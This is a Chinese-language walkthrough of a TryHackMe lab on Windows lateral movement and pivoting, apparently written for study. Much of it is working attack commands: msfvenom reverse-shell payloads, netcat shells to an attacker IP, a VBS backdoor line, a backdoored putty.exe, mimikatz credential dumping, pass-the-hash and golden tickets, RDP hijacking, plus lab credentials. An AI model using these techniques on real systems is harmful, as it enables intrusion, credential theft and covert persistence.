tryhackme——Lateral Movement and Pivoting
文章目录
- 一、Administrators and UAC
- 二、远程连接
- 2.1 Psexec进行远程连接
- 2.2 WinRM进行远程连接
- 2.3 使用sc远程创建服务
- 2.4 远程创建计划任务
- 2.5 实验
- 三、使用WMI进行横向移动
- 3.1 通过powershell连接WMI
- 3.2 使用WMI远程创建进程
- 3.3 使用WMI远程创建计划任务
- 3.4 通过WMI安装MSI包
- 3.5 实验
- 四、通过备用身份验证材料进行横向移动
- 4.1 HTLM 认证
- 4.2 hash传递(NTLM身份验证)
- 4.3 Kerberos认证
- 4.4 票据传递攻击(Kerberos认证)
- 4.4.1 黄金票据攻击
- 4.5 密钥传递攻击(Kerberos认证)
- 五、通过用户行为实现横向移动
- 5.1 滥用可写共享
- 5.2 vbs脚本后门
- 5.3 .exe文件后门
- 5.4 RDP劫持
- 六、端口转发
- 6.1 SSH 隧道
- 6.2 SSH远程转发(攻击机连接内网机器)
- 6.3 SSH本地转发(内网机器连接攻击机)
- 6.4 socat进行端口转发
- 6.5 动态端口转发和SOCKS
- 6.7 隧道式复杂漏洞利用
网络拓扑:

假设我们已经拿到域中一台计算机的权限了,在这里是通过访问
http://distributor.za.tryhackme.com/creds
来获取跳板机的一个AD凭证。

即:
Username: francesca.chadwick
Password: BdcZEIPlB536
反弹shell的地址(我们控制的机器IP,不是跳板机):10.50.100.115
使用ssh远程登录跳板机:
ssh za\\francesca.chadwick@thmjmp2.za.tryhackme.com
一、Administrators and UAC
管理员分为两种类型:
- 本地管理员组中的本地帐户
- 本地管理员组中的域帐户
UAC(User Account Control)对两者会不同处理:
-
本地管理员账户的限制
- 默认情况下,本地管理员(除默认的
Administrator
账户外)在远程连接时:无法通过RPC、SMB或WinRM执行管理任务;只能通过RDP交互式会话获得完整管理权限。 - 例外情况:默认的
Administrator
账户(通常禁用的内置账户)不受此限制;如果系统配置为禁用UAC限制,则此限制不存在。
- 默认情况下,本地管理员(除默认的
-
域管理员账户的特权
域账户被加入本地管理员组时:不受UAC的这种限制;远程连接时会获得完整的管理员权限令牌,即可以通过各种协议(RPC/SMB/WinRM等)直接执行管理任务。
二、远程连接
研究攻击者远程创建进程的可用方法,这些方法允许他们在拥有有效凭据的机器上运行命令。
2.1 Psexec进行远程连接
条件:
- 端口: 445/TCP (SMB)
- 权限:
Administrators
Psexec
一直是远程执行进程的首选方法,它允许管理员用户在其有权访问的任何 PC 上远程运行命令。下载:Psexec
Psexec
的工作方式如下:
- 连接到
Admin$
共享(这是C:\Windows
目录的隐藏共享)并上传服务二进制文件psexesvc.exe
,此步骤需要具有目标系统管理员权限的凭据。 PsExec
连接到目标系统的服务控制管理器(Service Control Manager,SCM),创建并运行名为PSEXESVC
的服务,该服务二进制路径指向C:\Windows\psexesvc.exe
,且设置服务为自动启动(默认情况下)。- 创建三个命名管道(
stdin
、stdout
和stderr
)来处理标准输入/标准输出/标准错误,这些命名管道允许本地PsExec
实例与远程服务进行通信。 - 默认情况下,命令执行完成后
PsExec
会删除PSEXESVC
服务,通常也会删除上传的psexesvc.exe
文件,且关闭所有打开的连接和管道。
使用psexec
进行远程连接:
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
# -i:交互式运行指定的程序,就是cmd黑框会出现在目标机器上。
2.2 WinRM进行远程连接
条件:
- 端口: 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- 权限: 属于
Remote Management Users
Windows远程管理 (WinRM) 是一种基于 Web 的协议,用于远程向Windows主机发送 Powershell命令,大多数Windows Server安装都会默认启用WinRM。
通过WinRM(Windows Remote Management)
协议在远程主机上执行命令,并返回cmd:
winrs.exe -u:Administrator -p:Mypass123 -r:<target> cmd
# target可以是主机名、ip或域名。
也可以使用powershell命令代码上述脚本:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Enter-PSSession -Computername <TARGET> -Credential $credential
Invoke-Command -Computername <TARGET> -Credential $credential -ScriptBlock {whoami}
2.3 使用sc远程创建服务
条件:
- 端口:
- 135/TCP, 49152-65535/TCP (DCE/RPC)
- 445/TCP (RPC over SMB Named Pipes)
- 139/TCP (RPC over SMB Named Pipes)
- 权限: 属于
Administrators
Windows 服务启动后也会可以用来运行任意命令。可以使用sc.exe
(Windows 中的标准工具)在远程主机上创建服务。使用sc
时,它会尝试通过RPC
连接到服务控制管理器 (SVCCTL) 远程服务程序,方式如下:
- 将使用
DCE/RPC
进行连接尝试。客户端将首先连接到端口135的端点映射器 (EPM)。该端口充当可用RPC端点的目录,并请求有关SVCCTL服务程序的信息。然后,EPM将响应IP地址和端口号,以连接到SVCCTL,该端口号通常是49152-65535 范围内的动态端口。
- 如果后者连接失败,sc将尝试通过SMB命名管道访问SVCCTL,无论是在端口445(SMB)还是139(SMB over NetBIOS)。
使用以下命令远程创建并启动名为“THMservice”的服务,需要注意网络令牌:
# 创建服务,服务内容是新建一个本地用户
sc.exe \\<TARGET> create THMservice binPath= "net user munra Pass123 /add" start= auto
# 启动服务
sc.exe \\<TARGET> start THMservice
# 停止服务
sc.exe \\<TARGET> stop THMservice
# 删除服务
sc.exe \\<TARGET> delete THMservice
2.4 远程创建计划任务
使用schtasks
(任何 Windows 安装中都提供)创建并运行计划任务:
# 创建计划任务
schtasks /s <TARGET> /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00
# 运行计划任务
schtasks /s <TARGET> /run /TN "THMtask1"
# 删除计划任务
schtasks /S <TARGET> /TN "THMtask1" /DELETE /F
2.5 实验
在攻击机上使用msfvenom
生成反弹shell:
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=10.50.100.115 LPORT=4444 -o reverse_shell.exe
使用smbclient
将反弹shell上传到thmiis
上
smbclient -c 'put reverse_shell.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
# -c 'put reverse_shell.exe':执行命令:上传本地文件reverse_shell.exe到远程共享;
# -U t1_leonard.summers:指定用户名;
# -W ZA:指定域;
# '//thmiis.za.tryhackme.com/admin$/':目标共享路径(admin$是Windows的隐藏共享,对应C:\Windows\);
# EZpass4ever:用户名对应的密码。
在攻击机上监听4444端口:
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST 10.50.100.115; set LPORT 4444;exploit"
使用ssh远程登录跳板机:
ssh za\\francesca.chadwick@thmjmp2.za.tryhackme.com
因为sc.exe
在创建服务的时候,不能指定凭证,也就是说必须用t1_leonard.summers
身份登录到thmiis
上,才可以使用t1_leonard.summers
身份运行sc.exe
。图解如下:
但是可以使用runas
命令创建一个带有t1_leonard.summer
访问令牌的新shell,但是我们并不能使用runas /netonly /user:ZA\t1_leonard.summers cmd.exe
来创建带有t1_leonard.summer
访问令牌的会话,如果这样做,新创建的CMD会话无法通过SSH访问,这涉及到Windows的会话架构和安全隔离机制。
Windows系统采用多会话架构(Session 0、1、2…),SSH连接通常建立在一个独立的会话中(如 Session 1),runas
创建的新进程默认会进入交互式用户会话(通常是 Session 2)。使用runas /netonly
之后:
- 网络令牌:访问远程资源(如SMB共享、RPC)时使用
ZA\t1_leonard.summers
的凭据。 - 本地令牌:进程的本地操作(如显示窗口、读写本地文件)仍使用SSH登录用户的权限。
runas
生成的cmd的输入/输出绑定到WinSta0\Default
(Windows图形界面终端),由于windows会话隔离机制,导致SSH会话无法访问该图形终端,最终:无法看到新cmd.exe的输出;也无法向新cmd.exe发送输入指令。会话结构图如下:
但是可以通过runas+反弹shell
来解决上述问题,通过runas /netonly
获得一个网络令牌为 ZA\t1_leonard.summers
但本地令牌仍然为ssh会话令牌的交互式Shell。
# 攻击机
nc -lvp 4443# 跳板机
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.50.100.115 4443"
在攻击机获取的runas
反弹shell上通过sc远程创建服务,此时的网络令牌为ZA\t1_leonard.summers
:
sc.exe \\thmiis.za.tryhackme.com create THMservice-reverse binPath= "%windir%\reverse_shell.exe" start= auto
sc.exe \\thmiis.za.tryhackme.com start THMservice-reverse
攻击机的4444端口将会受到反弹shell:
三、使用WMI进行横向移动
WMI(Windows Management Instrumentation,Windows管理规范)是Windows内置的系统管理框架,提供统一的接口来管理和监控Windows系统资源,它是微软对WBEM(Web-Based Enterprise Management)
和CIM(Common Information Model)
标准的实现。简单来说,WMI允许管理员执行标准管理任务,攻击者可以滥用这些任务以各种方式进行横向移动。
3.1 通过powershell连接WMI
首先,创建包含用户名和密码的PSCredential
对象:
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
# 创建包含用户名和密码的PSCredential对象
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
使用下面的两种协议中的一种来建立WMI会话:
- DCOM:将使用
RPC over IP
协议连接到 WMI。该协议使用端口135/TCP和端口 49152-65535/TCP。 - Wsman:将使用
WinRM
协议连接到 WMI。该协议使用端口**5985/TCP(WinRM HTTP)**或 5986/TCP(WinRM HTTPS)。
要从Powershell建立WMI会话,可以使用以下命令并将会话存储在$Session
变量中:
# New-CimSessionOption:配置WMI会话的连接选项,包括连接协议
$Opt = New-CimSessionOption -Protocol DCOM# 将配置选项和凭据将传递给New-CimSession,与远程主机建立会话
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
3.2 使用WMI远程创建进程
条件:
- 端口:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- 权限: 属于
Administrators
通过Powershell使用WMI创建服务:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
然后,我们可以获取该服务的句柄并使用以下命令启动它:
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"Invoke-CimMethod -InputObject $Service -MethodName StartService
我们可以使用以下命令停止并删除该服务:
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
3.3 使用WMI远程创建计划任务
条件:
- 端口:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- 权限: 属于
Administrators
创建计划任务:
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
删除计划任务:
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
3.4 通过WMI安装MSI包
条件:
- 端口:
- 135/TCP, 49152-65535/TCP (DCERPC)
- 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
- 权限: 属于
Administrators
MSI
是一种用于安装程序的文件格式,一旦MSI文件进入目标系统,我们就可以通过 WMI 调用Win32_Product
类来尝试安装它:
# 安装MSI安装包
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
也可以使用wmic
进行安装,实现同样的效果:
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
3.5 实验
访问http://distributor.za.tryhackme.com/creds
,获取跳板机上的凭证,同时使用ssh建立会话:
ssh za\\<AD Username>@thmjmp2.za.tryhackme.com
这里通过WMI和MSI包横向迁移到THM-IIS:
首先,在攻击机上使用msfvenom
生成msi文件:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.50.100.115 LPORT=4445 -f msi > installer.msi
使用smbclient
将msi文件上传到thmiis
上
smbclient -c 'put installer.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994
在攻击机上监听4444端口:
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST 10.50.100.115; set LPORT 4445;exploit"
在跳板机上与thmiis通过powershell建立wmi会话:
PS C:\> $username = 't1_corine.waters';
PS C:\> $password = 'Korine.1994';
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
PS C:\> $Opt = New-CimSessionOption -Protocol DCOM
PS C:\> $Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop
使用Win32_Product
类安装msi文件:
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\installer.msi"; Options = ""; AllUsers = $false}
四、通过备用身份验证材料进行横向移动
备用身份验证材料是指任何可用于访问Windows帐户而无需实际知道用户密码的数据。
首先,与跳板机建立SSH连接,用户身份是跳板机的管理员:
ssh za\\t2_felicia.dean@thmjmp2.za.tryhackme.com
4.1 HTLM 认证
NTLM 身份验证的工作原理:
- 客户端向其想要访问的服务器发送身份验证请求。
- 服务器生成一个随机数,并将其作为
challenge
发送给客户端。 - 客户端将其NTLM密码哈希与
challenge
(以及其他已知数据)组合,生成对challenge
的response
,并将其发送回服务器进行验证。 - 服务器将
challenge
和response
转发给域控制器进行验证。 - 域控制器使用
challenge
重新计算response
,并将其与客户端发送的初始response
进行比较。如果两者匹配,则客户端通过身份验证;否则,访问被拒绝。身份验证结果将发送回服务器。 - 服务器将身份验证结果转发给客户端。
注意:上述流程适用于使用域帐户的情况。如果使用本地帐户,服务器可以自行验证对质询的响应,而无需与域控制器交互,因为服务器已将密码哈希存储在其SAM本地。
4.2 hash传递(NTLM身份验证)
通过使用mimikatz
或类似工具从已获得管理权限的主机提取凭据,我们可能会获得易于破解的明文密码或哈希值,也可能得到无法破解的NTLM密码哈希值。
如果Windows域配置为使用NTLM身份验证,我们无需破解NTLM哈希值,而是可以使用哈希传递 (PTH) 攻击并成功进行身份验证。
要提取NTLM哈希值,可以使用mimikatz
读取本地SAM,也可以直接从LSASS
内存中提取哈希值。
从本地SAM提取NTLM hash
- 此方法仅允许获取计算机上本地用户的哈希值,无法获取域用户的哈希值。
- 需要使用本地管理员权限。
# 为当前进程启用SeDebugPrivilege特权,该权限允许进程调试其他进程(包括系统进程如lsass.exe)
# 需要管理员权限运行,否则报错:ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
privilege::debug
# 将当前令牌提升至NT AUTHORITY\SYSTEM权限
token::elevate
# 从SAM数据库中提取本地用户凭据
lsadump::sam
从LSASS内存中提取NTLM hash
- 此方法将允许您提取本地用户和最近登录到机器的任何域用户的任何NTLM hash。
- 需要使用本地管理员权限。
# 为当前进程启用SeDebugPrivilege特权,该权限允许进程调试其他进程(包括系统进程如lsass.exe)
# 需要管理员权限运行,否则报错:ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
privilege::debug
# 将当前令牌提升至NT AUTHORITY\SYSTEM权限
token::elevate
# 从LSASS内存中提取NTLM hash
sekurlsa::msv
然后,使用mimihatz
进行哈希传递攻击获取反弹shell:
这里只是生成一个具有目标身份的进程,也就是说并不是横向到其他机器上。
# 清除所有模拟令牌,将线程令牌恢复为进程的主令牌
token::revert
# hash传递攻击
sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /ntlm:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.100.115 5555"
nc -lvp 5555
注意:在此shell上运行
whoami
命令,它仍会显示您在执行PTH之前使用的原始用户,但从这里运行的任何命令实际上都会使用我们使用PtH注入的凭据。
结合winrm
进行横向移动,移动到THMIIS.za.tryhackme.com
:
winrs.exe -r:THMIIS.za.tryhackme.com cmd
在linux中使用hash传递攻击
# Connect to RDP using PtH
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH# Connect via psexec using PtH
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP# Connect to WinRM using PtH
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
4.3 Kerberos认证
Kerberos 身份验证在Windows网络上的工作原理:
- 用户将其用户名和使用其密码派生出的密钥加密时间戳发送到密钥分发中心 (KDC),该服务通常安装在域控制器上,负责在网络上创建Kerberos票证。
- KDC将创建并返回票证授予票证 (TGT,金票),TGT是允许用户请求访问特定服务的票证,而无需将其凭据传递给服务本身。除了 TGT 之外,还会向用户提供会话密钥,用户需要该密钥来生成后续请求。
请注意,TGT使用
krbtgt
帐户的密码哈希进行加密,因此只有KDC能访问其内容。同时,加密的TGT包含会话密钥的副本,而KDC无需存储会话密钥,因为它可以在需要时通过解密TGT来恢复副本。
-
当用户想要连接到网络上的服务(例如共享资源、网站或数据库)时,他们会使用TGT向KDC请求票证授予服务 (TGS,银票)。TGS 是票证,仅允许用户连接到为其创建的特定服务。要请求 TGS,用户需要发送其用户名、使用会话密钥加密的时间戳、TGT 和服务主体名称 (SPN),后者指示我们要访问的服务和服务器名称。
-
KDC 将向用户发送TGS和服务会话密钥,用户需要使用TGS来向要访问的服务进行身份验证。TGS使用服务所有者哈希进行加密,服务所有者是运行服务的用户或计算机帐户。TGS在其加密内容中包含服务会话密钥的副本,以便服务所有者可以通过解密TGS来访问它。
-
TGS 向所需的服务进行身份验证并建立连接,该服务将使用其配置的帐户的密码哈希来解密TGS并验证服务会话密钥。
4.4 票据传递攻击(Kerberos认证)
虽然mimikatz
可以从LSASS
进程的内存中提取任何可用的TGT
或TG
,但大多数情况下,更感兴趣的是 TGT,因为它们可用于请求访问用户有权访问的任何服务;而TGS 仅适用于特定服务。
4.4.1 黄金票据攻击
条件:域名、域SID、krbtgt哈希值、伪造的用户
域名
ipconfig /allsysteminfo | findstr /B /C:"Domain"
域SID
# 为当前进程启用SeDebugPrivilege特权,该权限允许进程调试其他进程(包括系统进程如lsass.exe)
# 需要管理员权限运行,否则报错:ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
privilege::debug
# 将当前令牌提升至NT AUTHORITY\SYSTEM权限
token::elevate
# 从LSASS内存中提取NTLM hash
sekurlsa::msv
图中标红的是用户t1_toby.beck
的SID,而域SID不要-4607
,即S-1-5-21-3330634377-1326264276-632209373
。
krbtgt哈希值
- 方法1:使用
Mimikatz + DCSync
(需域管理员权限)
使用管理员权限运行mimikatz
:lsadump::dcsync /domain:ZA.TRYHACKME.COM /user:krbtgt
- 方法2:从
LSASS
内存提取(需要控制域控,且本地管理员权限)sekurlsa::krbtgt
- 方法3:使用
Impacket
的secretsdump.py
(远程提取)# 需要域管理员凭证 secretsdump.py ZA.TRYHACKME.COM/Administrator:<password>@DC01.ZA.TRYHACKME.COM
# 制作黄金票据
kerberos::golden /admin:<用户名> /domain:<域名> /sid:<域sid> /krbtgt:<krbtgt hash值> /ticket:ticket.kirbi# 黄金票据攻击
Kerberos::ptt ticket.kirbi
提取票证要管理员权限,注入票证不用管理员权限。
使用klist
查看票据是否被注入:
4.5 密钥传递攻击(Kerberos认证)
当用户请求TGT 时,用户会发送一个使用从其密码派生出的加密密钥加密的时间戳。用于派生此密钥的算法可以是DES
(在当前 Windows 版本中默认禁用)、RC4
、AES128
或AES256
,具体取决于安装的 Windows 版本和 Kerberos 配置。如果我们拥有其中任何一个密钥,就可以向KDC请求 TGT,而无需实际密码,因此被称为密钥传递攻击(PTK)。
可以通过使用mimikatz
以下命令从内存中获取Kerberos
加密密钥:
# 启用 SeDebugPrivilege 权限,允许Mimikatz访问其他进程的内存(尤其是 lsass.exe)
privilege::debug# 从lsass.exe内存中提取所有可用的加密密钥
sekurlsa::ekeys
实施密钥传递攻击:
# RC4 hash
sekurlsa::pth /user:t1_toby.beck2 /domain:za.tryhackme.com /rc4:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.100.115 5556"
# AES128 hash
sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe 10.50.100.115 5556"
# AES256 hash
sekurlsa::pth /user:t1_toby.beck2 /domain:za.tryhackme.com /aes256:36c25383402319264d7e8a115b85c94d2444913c52ce506ce10
7332d2416bc91 /run:"c:\tools\nc64.exe -e cmd.exe 10.50.100.115 5556"
- 其实,密钥传递攻击可以理解为一种哈希传递攻击,区别在于哈希传递攻击主要适用于NTLM认证环境,而密钥传递攻击适用于Kerberos认证环境。
- 关于密钥传递攻击和票据传递攻击,票据传递攻击是使用KDC颁发的TGT进行身份认证,而密钥传递攻击则是用获取的密码hash向KDC申请TGT。
注意:sekurlsa::pth
本身不会横向移动,它只是在本地生成一个具有目标用户网络身份的进程。要横向移动,必须结合其他方法(如psexec、wmic、schtasks、crackmapexec
等)。
五、通过用户行为实现横向移动
5.1 滥用可写共享
在检查公司环境时,经常会发现合法用户用于执行日常任务的网络共享。如果这些共享由于某种原因可写,攻击者就可以植入特定文件,迫使用户执行任意有效载荷,从而获得对其计算机的访问权限。一种常见的情况是找到托管在网络共享上的脚本或可执行文件的快捷方式。
why?:管理员可以在网络共享上维护一个可执行文件,用户无需将应用程序复制或安装到每个用户的计算机上即可执行该文件。尽管脚本或可执行文件托管在服务器上,但当用户在其计算机上打开快捷方式时,该可执行文件将从服务器复制到其 %temp%
文件夹并在本地计算机上执行。
如果我们作为攻击者拥有此类脚本或可执行文件的写入权限,就可以对其进行后门攻击,强制用户执行我们想要的任何有效载荷。
5.2 vbs脚本后门
如果共享资源是VBS脚本,我们可以将nc64.exe
的副本放在同一共享文件夹上,并在共享脚本中注入以下代码:
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
# CreateObject("WScript.Shell").Run:创建一个WScript.Shell对象,用于执行系统命令;
# cmd.exe /c:启动cmd.exe执行命令,执行完毕后关闭(/c参数);
# copy /Y \\10.10.28.6\myshare\nc64.exe %tmp%:从网络共享路径 \\10.10.28.6\myshare\复制nc64.exe到目标机器的临时目录%tmp%;
# &:继续执行下一条命令;
# %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234:运行刚刚复制的nc64.exe,并建立反向Shell连接;
# 0:隐藏命令行窗口(静默运行);
# True:等待命令执行完成。
这会将nc64.exe
从共享文件夹复制到用户工作站的%tmp%
目录,并在用户打开共享的VBS脚本时向攻击者发送一个反向Shell。
5.3 .exe文件后门
如果共享文件是Windows二进制文件,例如putty.exe,可以从共享中下载它,并使用msfvenom
向其中注入后门。该二进制文件仍将照常运行,但会静默执行额外的有效载荷。要创建带有后门的putty.exe
,可以使用以下命令:
# 生成携带后门的putty.exe
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
# -b: 排除NULL字节
生成的puttyX.exe
将在用户不知情的情况下执行一个reverse_tcp meterpreter
有效载荷。文件生成后,我们可以替换Windows共享上的可执行文件,并使Metasploit的exploit/multi/handler
模块等待任何连接。
5.4 RDP劫持
当管理员使用远程桌面连接到计算机并关闭 RDP 客户端而不是注销时,他的会话将无限期地在服务器上保持打开状态。如果在Windows Server 2016 及更早版本上拥有SYSTEM权限,则可以接管任何现有的RDP会话,而无需输入密码。
首先使用xfreerdp
远程连接:
xfreerdp /v:thmjmp2.za.tryhackme.com /u:YOUR_USER /p:YOUR_PASSWORD
在http://distributor.za.tryhackme.com/creds_t2
拿到跳板机的管理员账户后,以管理员身份打开cmd:
使用PsExec64.exe
以system权限启动cmd:
# 以system权限启动cmd
PsExec64.exe -s cmd.exe
# 查看服务器上存在的会话
query user
我们的用户是t2_abigail.cox
,理论上所有会话都可以被劫持,但是尽量劫持状态为Disc(已断开但保留)
,因为,接管状态为Active
的会话,合法用户将被强制退出其会话。可以使用下面命令进行RDP劫持:
# 将ID为4的会话重新连接到当前用户界面(即rdp-tcp#64对应的显示终端)
tscon 4 /dest:rdp-tcp#64
注意:
Windows Server 2019
不允许您在不知道密码的情况下连接到其他用户的会话。
六、端口转发
上述介绍的大多数横向移动技术都需要攻击者拥有特定的可用端口。在实际网络中,管理员可能出于安全原因屏蔽了部分端口,或者对网络实施了分段,阻止攻击者访问 SMB
、RDP
、WinRM
或 RPC
端口。
为了绕过这些限制,我们可以使用端口转发技术,即将任何受感染的主机用作跳转箱,以便切换到其他主机。
首先,在攻击机上与跳板机建立ssh会话:
ssh za\\jenna.field@thmjmp2.za.tryhackme.com
# Username: jenna.field Password: Income1982
6.1 SSH 隧道
SSH隧道可以通过不同的方式通过SSH连接转发端口,假设:我们获得了对PC-1
计算机的控制权(无需管理员访问权限),并希望将其作为跳板机来访问另一台我们无法直接连接的计算机上的端口。
为此,我们将从PC-1
计算机(充当 SSH 客户端)启动一条隧道,到攻击者的PC(充当 SSH 服务器)。这样做的原因是,Windows计算机上通常会有SSH客户端,但大多数情况下没有可用的SSH服务器。
由于我们将重新连接到攻击者的机器,因此我们需要在其中创建一个无法访问任何控制台的用户以进行隧道连接,并设置用于创建隧道的密码:
# 创建了一个不能正常登录shell的专用用户,因为/bin/true不是真正的shell,当尝试登录时会立即退出
useradd tunneluser -m -d /home/tunneluser -s /bin/true
# 修改用户密码
passwd tunneluser
6.2 SSH远程转发(攻击机连接内网机器)
假设防火墙策略阻止攻击者的计算机直接访问服务器(3.3.3.3
)上的3389
端口。如果攻击者之前已经入侵了 PC-1,而PC-1(2.2.2.2
)又可以访问服务器的 3389 端口,那么就可以利用PC-1的远程端口转发功能,将目标网络切换到 3389 端口。远程端口转发功能允许您从SSH 客户端( PC-1)获取一个可访问的端口,并将其投射到远程 SSH 服务器(攻击者的计算机)中。
因此,攻击者的计算机中就会打开一个端口,该端口可用于通过 SSH 隧道连接到服务器的3389 端口。PC-1会代理该连接,以便服务器能够看到所有流量,就好像它们来自PC-1一样:
此时可能会出现一个合理的疑问:既然我们已经攻陷了PC-1,并且可以直接从那里运行RDP会话,为什么还需要端口转发呢?答案很简单:在我们只能通过控制台访问 PC-1 的情况下,由于没有 GUI,我们将无法使用任何RDP客户端,通过将端口开放给攻击者的计算机,可以使用Linux RDP客户端进行连接。
要将服务器(3.3.3.3
)上的3389
端口转发回攻击者的计算机,我们可以在PC-1(2.2.2.2
) 上使用以下命令:
# 使用tunneluser用户建立从PC-1到1.1.1.1(攻击者 PC)的SSH会话
ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N
# -R:远程端口转发
# -N:不执行远程命令(仅建立隧道连接)
由于tunneluser
无权在攻击者PC上运行shell,因此我们需要在ssh
命令中使用-N
来阻止客户端请求shell,否则连接将立即断开。-R
开关用于请求远程端口转发,其语法要求我们首先指定将在SSH服务器上打开的端口 (3389),然后以冒号结尾,最后指定我们将要转发的套接字的 IP 地址和端口 (3.3.3.3:3389)。
一旦我们的隧道设置并运行,我们就可以进入攻击者的机器并通过RDP进入转发端口来访问服务器:
xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword
实验
实验目标:在攻击机上通过RDP
连接到THMIIS
。
同样,攻击机与跳板机建立ssh会话,同时在跳板机上使用如下命令:
# 监听跳板机13389端口,并将该端口收到的流量转发到thmiis的3389端口上
ssh tunneluser@10.50.100.115 -R 13389:THMIIS.za.tryhackme.com:3389 -N
使用xfreerdp
远程连接:
xfreerdp /v:127.0.0.1:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020
6.3 SSH本地转发(内网机器连接攻击机)
本地端口转发允许我们将SSH服务器的端口“拉”到SSH客户端。这样,任何无法直接连接到攻击者 PC 但可以连接到 PC-1 的主机现在都能够通过PC-1与攻击者PC相连。
使用本地端口转发可以让我们运行来自通常无法连接到我们的主机的反向Shell,或者简单地将我们想要的任何服务提供给没有直接连接到我们的机器。
为了从攻击者的机器转发端口80
并使其在PC-1上可用,我们可以在PC-1上运行以下命令:
ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N
# -L:表示本地端口转发
# *:80:监听2.2.2.2的所有80端口
# 127.0.0.1:80:目标地址,指1.1.1.1的80端口
# -N:不执行远程命令(仅建立隧道连接)
由于服务器的流量需要通过PC-1的80端口,转发到1.1.1.1
,因此在2.2.2.2
上需要添加防火墙规则以允许传入连接(dir=in),且此操作需要管理员权限:
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
6.4 socat进行端口转发
注意:需要将socat
上传到跳板机上!
如果想像SSH远程端口转发一样,以PC-1为支点访问服务器上的3389端口,可以使用以下命令:
# 攻击机连接内网机器
socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389
注意:
socat
不能像SSH那样将连接直接转发到攻击者的机器,但会在PC-1上打开一个端口,攻击者的机器随后可以连接到该端口。
同样,由于跳板机上打开了一个端口,可能需要创建防火墙规则来允许任何到该端口的连接:
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
# 内网机器反向连接攻击机
socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80
实验
实验目标:在攻击机上通过RDP
连接到THMIIS
。
同样,攻击机与跳板机建立ssh会话,同时在跳板机上使用如下命令:
# 监听跳板机13389端口,并将该端口收到的流量转发到thmiis的3389端口上
